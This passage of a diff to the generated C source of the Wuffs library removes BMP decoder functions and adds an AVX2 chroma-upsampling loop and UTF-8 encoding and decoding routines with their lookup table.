status = wuffs_base__make_status(NULL); -- goto ok; -- -- ok: -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func bmp.decoder.frame_dirty_rect -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_bmp__decoder__frame_dirty_rect( -- const wuffs_bmp__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_rect_ie_u32(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_rect_ie_u32(); -+ if (last_column) { -+ src_len--; - } - -- return wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height); --} -+ if (src_len < 32) { -+ // This fallback is the same as the non-SIMD-capable code path. -+ for (; src_len > 0u; src_len--) { -+ uint32_t sv_major_m1 = sp_major[-1]; -+ uint32_t sv_minor_m1 = sp_minor[-1]; -+ uint32_t sv_major_p1 = sp_major[+1]; -+ uint32_t sv_minor_p1 = sp_minor[+1]; - --// -------- func bmp.decoder.num_animation_loops -+ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -+ (3u * ((uint32_t)(*sp_minor++))); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); -+ } - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_bmp__decoder__num_animation_loops( -- const wuffs_bmp__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ } else { -+ while (src_len > 0u) { -+ // Load 1+32+1 samples (six u8x32 vectors) from the major (jxx) and minor -+ // (nxx) rows. -+ // -+ // major_p0 = [j00 j01 j02 j03 .. j28 j29 j30 j31] // p0 = "plus 0" -+ // minor_p0 = [n00 n01 n02 n03 .. n28 n29 n30 n31] // p0 = "plus 0" -+ // major_m1 = [jm1 j00 j01 j02 .. j27 j28 j29 j30] // m1 = "minus 1" -+ // minor_m1 = [nm1 n00 n01 n02 .. n27 n28 n29 n30] // m1 = "minus 1" -+ // major_p1 = [j01 j02 j03 j04 .. j29 j30 j31 j32] // p1 = "plus 1" -+ // minor_p1 = [n01 n02 n03 n04 .. n29 n30 n31 n32] // p1 = "plus 1" -+ __m256i major_p0 = -+ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 0)); -+ __m256i minor_p0 = -+ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 0)); -+ __m256i major_m1 = -+ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major - 1)); -+ __m256i minor_m1 = -+ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor - 1)); -+ __m256i major_p1 = -+ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 1)); -+ __m256i minor_p1 = -+ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 1)); - -- return 0u; --} -+ // Unpack, staying with u8x32 vectors. -+ // -+ // step1_p0_lo = [j00 n00 j01 n01 .. j07 n07 j16 n16 j17 n17 .. j23 n23] -+ // step1_p0_hi = [j08 n08 j09 n09 .. j15 n15 j24 n24 j25 n25 .. j31 n31] -+ // step1_m1_lo = [jm1 nm1 j00 n00 .. j06 n06 j15 n15 j16 n16 .. j22 n22] -+ // step1_m1_hi = [j07 n07 j08 n08 .. j14 n14 j23 n23 j24 n24 .. j30 n30] -+ // step1_p1_lo = [j01 n01 j02 n02 .. j08 n08 j17 n17 j18 n18 .. j24 n24] -+ // step1_p1_hi = [j09 n09 j10 n10 .. j16 n16 j25 n25 j26 n26 .. j32 n32] -+ __m256i step1_p0_lo = _mm256_unpacklo_epi8(major_p0, minor_p0); -+ __m256i step1_p0_hi = _mm256_unpackhi_epi8(major_p0, minor_p0); -+ __m256i step1_m1_lo = _mm256_unpacklo_epi8(major_m1, minor_m1); -+ __m256i step1_m1_hi = _mm256_unpackhi_epi8(major_m1, minor_m1); -+ __m256i step1_p1_lo = _mm256_unpacklo_epi8(major_p1, minor_p1); -+ __m256i step1_p1_hi = _mm256_unpackhi_epi8(major_p1, minor_p1); - --// -------- func bmp.decoder.num_decoded_frame_configs -+ // Multiply-add to get u16x16 vectors. -+ // -+ // step2_p0_lo = [9*j00+3*n00 9*j01+3*n01 .. 9*j23+3*n23] -+ // step2_p0_hi = [9*j08+3*n08 9*j09+3*n09 .. 9*j31+3*n31] -+ // step2_m1_lo = [3*jm1+1*nm1 3*j00+1*n00 .. 3*j22+1*n22] -+ // step2_m1_hi = [3*j07+1*n07 3*j08+1*n08 .. 3*j30+1*n30] -+ // step2_p1_lo = [3*j01+1*n01 3*j02+1*n02 .. 3*j24+1*n24] -+ // step2_p1_hi = [3*j09+1*n09 3*j10+1*n10 .. 3*j32+1*n32] -+ const __m256i k0309 = _mm256_set1_epi16(0x0309); -+ const __m256i k0103 = _mm256_set1_epi16(0x0103); -+ __m256i step2_p0_lo = _mm256_maddubs_epi16(step1_p0_lo, k0309); -+ __m256i step2_p0_hi = _mm256_maddubs_epi16(step1_p0_hi, k0309); -+ __m256i step2_m1_lo = _mm256_maddubs_epi16(step1_m1_lo, k0103); -+ __m256i step2_m1_hi = _mm256_maddubs_epi16(step1_m1_hi, k0103); -+ __m256i step2_p1_lo = _mm256_maddubs_epi16(step1_p1_lo, k0103); -+ __m256i step2_p1_hi = _mm256_maddubs_epi16(step1_p1_hi, k0103); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_bmp__decoder__num_decoded_frame_configs( -- const wuffs_bmp__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ // Compute the weighted sums of (p0, m1) and (p0, p1). For example: -+ // -+ // step3_m1_lo[00] = ((9*j00) + (3*n00) + (3*jm1) + (1*nm1)) as u16 -+ // step3_p1_hi[15] = ((9*j31) + (3*n31) + (3*j32) + (1*n32)) as u16 -+ __m256i step3_m1_lo = _mm256_add_epi16(step2_p0_lo, step2_m1_lo); -+ __m256i step3_m1_hi = _mm256_add_epi16(step2_p0_hi, step2_m1_hi); -+ __m256i step3_p1_lo = _mm256_add_epi16(step2_p0_lo, step2_p1_lo); -+ __m256i step3_p1_hi = _mm256_add_epi16(step2_p0_hi, step2_p1_hi); - -- if (self->private_impl.f_call_sequence > 32u) { -- return 1u; -- } -- return 0u; --} -+ // Bias by 8 (on the left) or 7 (on the right) and then divide by 16 -+ // (which is 9+3+3+1) to get a weighted average. On the left (m1), shift -+ // the u16 right value by 4. On the right (p1), shift right by 4 and then -+ // shift left by 8 so that, when still in the u16x16 little-endian -+ // interpretation, we have: -+ // - m1_element = (etcetera + 8) >> 4 -+ // - p1_element = ((etcetera + 7) >> 4) << 8 -+ // -+ // step4_m1_lo = [0x00?? 0x00?? ... 0x00?? 0x00??] -+ // step4_p1_lo = [0x??00 0x??00 ... 0x??00 0x??00] -+ // step4_m1_hi = [0x00?? 0x00?? ... 0x00?? 0x00??] -+ // step4_p1_hi = [0x??00 0x??00 ... 0x??00 0x??00] -+ __m256i step4_m1_lo = _mm256_srli_epi16( -+ _mm256_add_epi16(step3_m1_lo, _mm256_set1_epi16(8)), 4); -+ __m256i step4_p1_lo = _mm256_slli_epi16( -+ _mm256_srli_epi16(_mm256_add_epi16(step3_p1_lo, _mm256_set1_epi16(7)), -+ 4), -+ 8); -+ __m256i step4_m1_hi = _mm256_srli_epi16( -+ _mm256_add_epi16(step3_m1_hi, _mm256_set1_epi16(8)), 4); -+ __m256i step4_p1_hi = _mm256_slli_epi16( -+ _mm256_srli_epi16(_mm256_add_epi16(step3_p1_hi, _mm256_set1_epi16(7)), -+ 4), -+ 8); - --// -------- func bmp.decoder.num_decoded_frames -+ // Bitwise-or two "0x00"-rich u16x16 vectors to get a u8x32 vector. Do -+ // that twice. Once for the low columns and once for the high columns. -+ // -+ // In terms of jxx (major row) or nxx (minor row) source samples: -+ // - low columns means ( 0 .. 8; 16 .. 24). -+ // - high columns means ( 8 .. 16; 24 .. 32). -+ // -+ // In terms of dxx destination samples (there are twice as many): -+ // - low columns means ( 0 .. 16; 32 .. 48). -+ // - high columns means (16 .. 32; 48 .. 64). -+ // -+ // step5_lo = [d00 d01 .. d14 d15 d32 d33 .. d46 d47] -+ // step5_hi = [d16 d17 .. d30 d31 d48 d49 .. d62 d63] -+ // -+ // The d00, d02 ... d62 even elements come from (p0, m1) weighted sums. -+ // The d01, d03 ... d63 odd elements come from (p0, p1) weighted sums. -+ __m256i step5_lo = _mm256_or_si256(step4_m1_lo, step4_p1_lo); -+ __m256i step5_hi = _mm256_or_si256(step4_m1_hi, step4_p1_hi); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_bmp__decoder__num_decoded_frames( -- const wuffs_bmp__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+ // Permute and store. -+ // -+ // step6_00_31 = [d00 d01 .. d14 d15 d16 d17 .. d30 d31] -+ // step6_32_63 = [d32 d33 .. d46 d47 d48 d49 .. d62 d63] -+ __m256i step6_00_31 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x20); -+ __m256i step6_32_63 = _mm256_permute2x128_si256(step5_lo, step5_hi, 0x31); -+ _mm256_storeu_si256((__m256i*)(void*)(dp + 0x00), step6_00_31); -+ _mm256_storeu_si256((__m256i*)(void*)(dp + 0x20), step6_32_63); - -- if (self->private_impl.f_call_sequence > 64u) { -- return 1u; -+ // Advance by up to 32 source samples (64 destination samples). The first -+ // iteration might be smaller than 32 so that all of the remaining steps -+ // are exactly 32. -+ size_t n = 32u - (31u & (0u - src_len)); -+ dp += 2u * n; -+ sp_major += n; -+ sp_minor += n; -+ src_len -= n; -+ } - } -- return 0u; --} - --// -------- func bmp.decoder.restart_frame -+ if (last_column) { -+ uint32_t sv_major_m1 = sp_major[-1]; -+ uint32_t sv_minor_m1 = sp_minor[-1]; -+ uint32_t sv_major_p1 = sp_major[+0]; // Clamp offset to zero. -+ uint32_t sv_minor_p1 = sp_minor[+0]; // Clamp offset to zero. - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_bmp__decoder__restart_frame( -- wuffs_bmp__decoder* self, -- uint64_t a_index, -- uint64_t a_io_position) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // -+ (3u * ((uint32_t)(*sp_minor++))); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); -+ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); - } - -- if (self->private_impl.f_call_sequence < 32u) { -- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- } -- if (a_index != 0u) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- self->private_impl.f_call_sequence = 40u; -- self->private_impl.f_frame_config_io_position = a_io_position; -- return wuffs_base__make_status(NULL); -+ return dst_ptr; - } -+#endif -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 - --// -------- func bmp.decoder.set_report_metadata -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_bmp__decoder__set_report_metadata( -- wuffs_bmp__decoder* self, -- uint32_t a_fourcc, -- bool a_report) { -- return wuffs_base__make_empty_struct(); --} -+#endif // !defined(WUFFS_CONFIG__MODULES) || -+ // defined(WUFFS_CONFIG__MODULE__BASE) || -+ // defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) - --// -------- func bmp.decoder.tell_me_more -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -+ defined(WUFFS_CONFIG__MODULE__BASE__UTF8) - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_bmp__decoder__tell_me_more( -- wuffs_bmp__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 4)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -+// ---------------- Unicode and UTF-8 - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+WUFFS_BASE__MAYBE_STATIC size_t // -+wuffs_base__utf_8__encode(wuffs_base__slice_u8 dst, uint32_t code_point) { -+ if (code_point <= 0x7F) { -+ if (dst.len >= 1) { -+ dst.ptr[0] = (uint8_t)(code_point); -+ return 1; -+ } - -- uint32_t coro_susp_point = self->private_impl.p_tell_me_more[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ } else if (code_point <= 0x07FF) { -+ if (dst.len >= 2) { -+ dst.ptr[0] = (uint8_t)(0xC0 | ((code_point >> 6))); -+ dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); -+ return 2; -+ } - -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_bmp__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } else if (code_point <= 0xFFFF) { -+ if ((dst.len >= 3) && ((code_point < 0xD800) || (0xDFFF < code_point))) { -+ dst.ptr[0] = (uint8_t)(0xE0 | ((code_point >> 12))); -+ dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); -+ dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); -+ return 3; - } - -- ok: -- self->private_impl.p_tell_me_more[0] = 0; -- goto exit; -+ } else if (code_point <= 0x10FFFF) { -+ if (dst.len >= 4) { -+ dst.ptr[0] = (uint8_t)(0xF0 | ((code_point >> 18))); -+ dst.ptr[1] = (uint8_t)(0x80 | ((code_point >> 12) & 0x3F)); -+ dst.ptr[2] = (uint8_t)(0x80 | ((code_point >> 6) & 0x3F)); -+ dst.ptr[3] = (uint8_t)(0x80 | ((code_point >> 0) & 0x3F)); -+ return 4; -+ } - } - -- goto suspend; -- suspend: -- self->private_impl.p_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; -- -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; -+ return 0; - } - --// -------- func bmp.decoder.do_tell_me_more -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__do_tell_me_more( -- wuffs_bmp__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+// wuffs_base__utf_8__byte_length_minus_1 is the byte length (minus 1) of a -+// UTF-8 encoded code point, based on the encoding's initial byte. -+// - 0x00 is 1-byte UTF-8 (ASCII). -+// - 0x01 is the start of 2-byte UTF-8. -+// - 0x02 is the start of 3-byte UTF-8. -+// - 0x03 is the start of 4-byte UTF-8. -+// - 0x40 is a UTF-8 tail byte. -+// - 0x80 is invalid UTF-8. -+// -+// RFC 3629 (UTF-8) gives this grammar for valid UTF-8: -+// UTF8-1 = %x00-7F -+// UTF8-2 = %xC2-DF UTF8-tail -+// UTF8-3 = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) / -+// %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail ) -+// UTF8-4 = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) / -+// %xF4 %x80-8F 2( UTF8-tail ) -+// UTF8-tail = %x80-BF -+static const uint8_t wuffs_base__utf_8__byte_length_minus_1[256] = { -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x00 ..= 0x07. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x08 ..= 0x0F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x10 ..= 0x17. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x18 ..= 0x1F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x20 ..= 0x27. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x28 ..= 0x2F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x30 ..= 0x37. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x38 ..= 0x3F. - -- if (self->private_impl.f_io_redirect_fourcc <= 1u) { -- status = wuffs_base__make_status(wuffs_base__error__no_more_information); -- goto exit; -- } -- if (a_minfo != NULL) { -- wuffs_base__more_information__set(a_minfo, -- 1u, -- self->private_impl.f_io_redirect_fourcc, -- 0u, -- self->private_impl.f_io_redirect_pos, -- 18446744073709551615u); -- } -- self->private_impl.f_io_redirect_fourcc = 1u; -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x40 ..= 0x47. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x48 ..= 0x4F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50 ..= 0x57. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x58 ..= 0x5F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x60 ..= 0x67. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x68 ..= 0x6F. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x70 ..= 0x77. -+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x78 ..= 0x7F. - -- goto ok; -- ok: -- goto exit; -- exit: -- return status; --} -+ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x80 ..= 0x87. -+ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x88 ..= 0x8F. -+ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x90 ..= 0x97. -+ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0x98 ..= 0x9F. -+ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA0 ..= 0xA7. -+ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xA8 ..= 0xAF. -+ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB0 ..= 0xB7. -+ 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, // 0xB8 ..= 0xBF. - --// -------- func bmp.decoder.history_retain_length -+ 0x80, 0x80, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC0 ..= 0xC7. -+ 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xC8 ..= 0xCF. -+ 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD0 ..= 0xD7. -+ 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, // 0xD8 ..= 0xDF. -+ 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE0 ..= 0xE7. -+ 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, // 0xE8 ..= 0xEF. -+ 0x03, 0x03, 0x03, 0x03, 0x03, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. -+ 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. -+ // 0 1 2 3 4 5 6 7 -+ // 8 9 A B C D E F -+}; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_bmp__decoder__history_retain_length( -- const wuffs_bmp__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // -+wuffs_base__utf_8__next(const uint8_t* s_ptr, size_t s_len) { -+ if (s_len == 0) { -+ return wuffs_base__make_utf_8__next__output(0, 0); - } -+ uint32_t c = s_ptr[0]; -+ switch (wuffs_base__utf_8__byte_length_minus_1[c & 0xFF]) { -+ case 0: -+ return wuffs_base__make_utf_8__next__output(c, 1); - -- return 0u; --} -+ case 1: -+ if (s_len < 2) { -+ break; -+ } -+ c = wuffs_base__peek_u16le__no_bounds_check(s_ptr); -+ if ((c & 0xC000) != 0x8000) { -+ break; -+ } -+ c = (0x0007C0 & (c << 6)) | (0x00003F & (c >> 8)); -+ return wuffs_base__make_utf_8__next__output(c, 2); - --// -------- func bmp.decoder.workbuf_len -+ case 2: -+ if (s_len < 3) { -+ break; -+ } -+ c = wuffs_base__peek_u24le__no_bounds_check(s_ptr); -+ if ((c & 0xC0C000) != 0x808000) { -+ break; -+ } -+ c = (0x00F000 & (c << 12)) | (0x000FC0 & (c >> 2)) | -+ (0x00003F & (c >> 16)); -+ if ((c <= 0x07FF) || ((0xD800 <= c) && (c <= 0xDFFF))) { -+ break; -+ } -+ return wuffs_base__make_utf_8__next__output(c, 3); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_bmp__decoder__workbuf_len( -- const wuffs_bmp__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ case 3: -+ if (s_len < 4) { -+ break; -+ } -+ c = wuffs_base__peek_u32le__no_bounds_check(s_ptr); -+ if ((c & 0xC0C0C000) != 0x80808000) { -+ break; -+ } -+ c = (0x1C0000 & (c << 18)) | (0x03F000 & (c << 4)) | -+ (0x000FC0 & (c >> 10)) | (0x00003F & (c >> 24)); -+ if ((c <= 0xFFFF) || (0x110000 <= c)) { -+ break; -+ } -+ return wuffs_base__make_utf_8__next__output(c, 4); - } - -- return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+ return wuffs_base__make_utf_8__next__output( -+ WUFFS_BASE__UNICODE_REPLACEMENT_CHARACTER, 1); - } - --// -------- func bmp.decoder.read_palette -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__read_palette( -- wuffs_bmp__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_i = 0; -- uint32_t v_argb = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- uint32_t coro_susp_point = self->private_impl.p_read_palette[0]; -- if (coro_susp_point) { -- v_i = self->private_data.s_read_palette[0].v_i; -+WUFFS_BASE__MAYBE_STATIC wuffs_base__utf_8__next__output // -+wuffs_base__utf_8__next_from_end(const uint8_t* s_ptr, size_t s_len) { -+ if (s_len == 0) { -+ return wuffs_base__make_utf_8__next__output(0, 0); - } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ const uint8_t* ptr = &s_ptr[s_len - 1]; -+ if (*ptr < 0x80) { -+ return wuffs_base__make_utf_8__next__output(*ptr, 1); - -- if (self->private_impl.f_bitmap_info_len == 12u) { -- while ((v_i < 256u) && (self->private_impl.f_padding >= 3u)) { -- self->private_impl.f_padding -= 3u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -- t_0 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -- iop_a_src += 3; -- } else { -- self->private_data.s_read_palette[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_read_palette[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -- if (num_bits_0 == 16) { -- t_0 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)) << 56; -- } -- } -- v_argb = t_0; -- } -- v_argb |= 4278190080u; -- self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -- self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -- self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -- self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -- v_i += 1u; -+ } else if (*ptr < 0xC0) { -+ const uint8_t* too_far = &s_ptr[(s_len > 4) ? (s_len - 4) : 0]; -+ uint32_t n = 1; -+ while (ptr != too_far) { -+ ptr--; -+ n++; -+ if (*ptr < 0x80) { -+ break; -+ } else if (*ptr < 0xC0) { -+ continue; - } -- } else { -- while ((v_i < 256u) && (self->private_impl.f_padding >= 4u)) { -- self->private_impl.f_padding -= 4u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_read_palette[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_read_palette[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -- if (num_bits_1 == 24) { -- t_1 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)) << 56; -- } -- } -- v_argb = t_1; -- } -- v_argb |= 4278190080u; -- self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -- self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -- self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -- 